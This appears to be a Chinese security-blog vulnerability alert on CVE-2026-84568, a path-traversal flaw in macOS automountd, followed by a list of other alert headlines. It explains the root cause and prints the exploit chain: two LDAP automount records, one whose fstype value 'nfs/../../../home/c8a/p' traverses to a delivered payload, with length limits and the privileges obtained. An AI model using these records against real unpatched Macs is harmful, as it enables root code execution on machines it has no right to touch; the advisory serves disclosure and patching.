【漏洞预警】macOS爆出路径穿越漏洞CVE-2026-84568(POC已公开)

YGnight
YGnight

night安全

2026年10月12日 10:16
四川

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

一、漏洞描述

这次的问题出在自动挂载。

macOS 用 autofs 按需挂载 /home 下的目录，automountd 是负责这件事的守护进程，跑在 root 下。

挂载规则来自目录服务，LDAP 里的 automountKey 与 automountInformation 是一路，用户条目的 apple-user-homeurl 也能生成同样的映射行。

苹果在 9 月 14 日的更新里修掉了它，涉及 macOS Golden Gate 27、macOS Tahoe 26.7 与 macOS Sequoia 15.8。

苹果写的影响是，控制网络目录服务器的一方可能以 root 权限执行任意代码，描述只说路径校验存在缺陷，补上了更严格的校验。

CVE 编号 CVE-2026-84568，CWE 编号 22，类型就是路径穿越。

CVSS 3.1 打分 7.8，向量 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H，分数由 CISA-ADP 给出并经 NVD 收录，苹果自己没有提供评分。

受影响区间按 NVD 的 CPE 记录，macOS 15.0 起到 15.8 之前，26.0 起到 26.7 之前。

要打出效果得凑齐两件事，一是能往目录里写 automount 数据，二是客户端 Mac 绑在这套目录服务上并真的发起一次查询。

公开情报里暂未给出利用成熟度与在野利用的相关数据。

二、漏洞原理

/etc/auto\_master 把 /home 交给 auto\_home，auto\_home 里除了 +auto\_home 还带了一行 +/usr/libexec/od\_user\_homes。

两条路最后都进同一个映射解析器。

目录下发的一条记录形如选项加挂载源，前面那串选项决定用哪个挂载程序。

分岔点在 fstype。

值正好等于 nfs 时走专用的 NFS 分支，等于别的值时走通用分支，把 fstype 接到 /sbin/mount\_ 后面当路径使，先 stat 一遍，再 posix\_spawn 起来。

// 公开分析给出的简化形式，取自 autofs-322 之前的派发逻辑
path = \"/sbin/mount\_\" + fstype;   // fstype 来自目录下发的映射行
stat(path);
posix\_spawn(path, ...);

文件系统类型在这里被当成可信的 helper 名字用了，值里带 / 和 .. 时，拼出来的路径就走出了 /sbin 下面的 helper 目录。

载荷得先送到位。完整链要两条目录记录，第一条用真的 nfs 挂到 /home/c8a，第二条用穿越值指向那个文件。

// 第一条，负责投递
key: c8a   data: -fstype=nfs nfs://服务器:/导出路径

// 第二条，负责触发
key: c8b   data: -fstype=nfs/../../../home/c8a/p nfs://服务器:/tmp

fstype:        nfs/../../../home/c8a/p
拼出来的路径:  /sbin/mount\_nfs/../../../home/c8a/p
实际解析到:      /home/c8a/p

值的前一段得留着真实的 mount\_nfs，中间那一级不存在的话，解析在第一步就断了。

长度还卡了一道。

autofs-322 里给 fstype 的字段是 32 字节，留 31 个可用字节，扣掉前缀那 18 字节，投递键和文件名加起来只剩 13 字节。

len(\"nfs/../../../home/\") + len(投递键) + 1 + len(文件名) <= 31
18                         + len(投递键) + 1 + len(文件名) <= 31

// 公开靶场用的默认值
nfs/../../../home/c8a/p    共 23 字节

改目录数据只是把链路摆好，真正执行要等客户端查一次对应的 autofs 键。

身份跟着发起查询的人走，automountd 起 helper 时用的是请求里带的 UID。

// 靶场载荷记录下的四个 ID

// root 发起的查询
uid=0 euid=0 gid=0 egid=0

// 普通用户发起的查询
uid=该用户 euid=该用户 gid=0 egid=0

苹果公告写的 root 权限端点，对应的是 root 发起的那次查询。普通用户发起时，载荷拿到的是那个用户的 uid，组仍跟着守护进程。

三、修复建议

升到 macOS Sequoia 15.8、macOS Tahoe 26.7 或 macOS Golden Gate 27

近期值得重点关注的漏洞预警

【紧急漏洞预警】nacos爆出权限绕过漏洞，可以创建管理员账户，经过分析有点出处（已复现，exp脚本已编写）

PostgreSQL爆出远程代码执行漏洞(POC已公开)

【漏洞预警】Atlassian八款产品爆任意文件读取漏洞(附POC)

【漏洞预警】Joomla视频画廊扩展存在SQL注入漏洞(POC已公开)

【漏洞预警】Roundcube网页邮件客户端存在SQL注入漏洞(附POC)

WordPress页面模板存在文件包含漏洞(POC已公开)CVE-2026-87902

WordPress插件Forminator未认证短代码执行漏洞(poc已公开)CVE-2026-92229

WordPress插件Authorizer存在权限提升漏洞(POC已公开)CVE-2026-81294

WordPress插件MStoreAPI存在认证绕过漏洞(POC已公开)CVE-2026-13447

CakePHP爆出SQL注入漏洞(POC已公开)CVE-2026-77635

Node.js模块proxy-addr爆出严重漏洞CVE-2026-90711

Langflow爆出代码执行漏洞CVE-2026-17633  (POC已公开)

Apache CVE-2026-42536，补它只用一行，洞龄十四年

【紧急】搜狗输入法爆出远程代码执行漏洞CVE-2026-51990  ，已被在野利用

【紧急】无需登录就能获取 GitLab 的任意文件数据(附POC)

【紧急】JumpServer堡垒机被公布Access Key泄露漏洞，可以实现提权

Spring Cloud Azure公布严重漏洞 无需任何权限即可取得登录会话

【漏洞POC已公开】Linux RDS 爆出提权漏洞 一块内存放两次，root就到手了

Tenda光猫爆出严重漏洞，目前无补丁(POC已公布

13 行补丁，堵住Linux能拿 root 的内核洞(EXP已公开)

48 字节，换走一台 Windows 的 SYSTEM(CVE-2026-62735漏洞POC已公开)

【漏洞预警】linux删个网桥就能提权root？目前没有补丁(POC已公开)

【漏洞预警】Linux三年前补上的洞，又一次被挖开了

【情报】支付宝8.2亿数据泄露？给同事说一声，别自己吓自己

【漏洞预警】自己注册个号，就能搬空别人的 Magento 订单和支付卡（POC已公开）

【漏洞预警】Next.js 爆出新漏洞，不用登录实现命令执行(POC已公开)

【漏洞补丁绕过预警】Redis CVE-2026-23479变种高危漏洞，EXP已公开

【漏洞补丁绕过】超 30 万 WordPress 站点受影响，Forminator 文件上传漏洞（附POC）

【漏洞预警】Exchange爆出RCE漏洞，利用Exchange 帮另一台 Exchange 开门（POC已公开）

【漏洞预警】不用登录，一个请求就能让 GeoServer 乖乖执行命令（POC已公开）

【漏洞预警】Keycloak不登录就能接管任意账户，双重验证也拦不住

【漏洞预警】 8月WebLogic公布了9个漏洞，有一个需要重点关注

【漏洞预警】近期MongoDB 公布了5个漏洞，最严重的一个可以不认证、远程就能拿下你电脑

【0DAY漏洞】 全球5G手机芯片厂商之一‌的紫光展锐SOC存在RCE漏洞，影响数十家手机厂商，还未发布补丁

【漏洞告警】安卓 14 到 16 全中招，通讯录 SQL 注入漏洞正在抄家（POC已公开）

【漏洞预警】紧急排查，SMB服务再曝新漏洞，利用脚本已公开

【漏洞预警】不用输密码，对方已经接管你的Mac：官方补丁公布macOS存在未鉴权RCE漏洞

【0day漏洞预警】MariaDB 13 爆 9.8 分 RCE 链：最低 USAGE 权限就能远程执行命令

VMware 爆 5 个洞，两个 9.8 不用密码就能打穿 vCente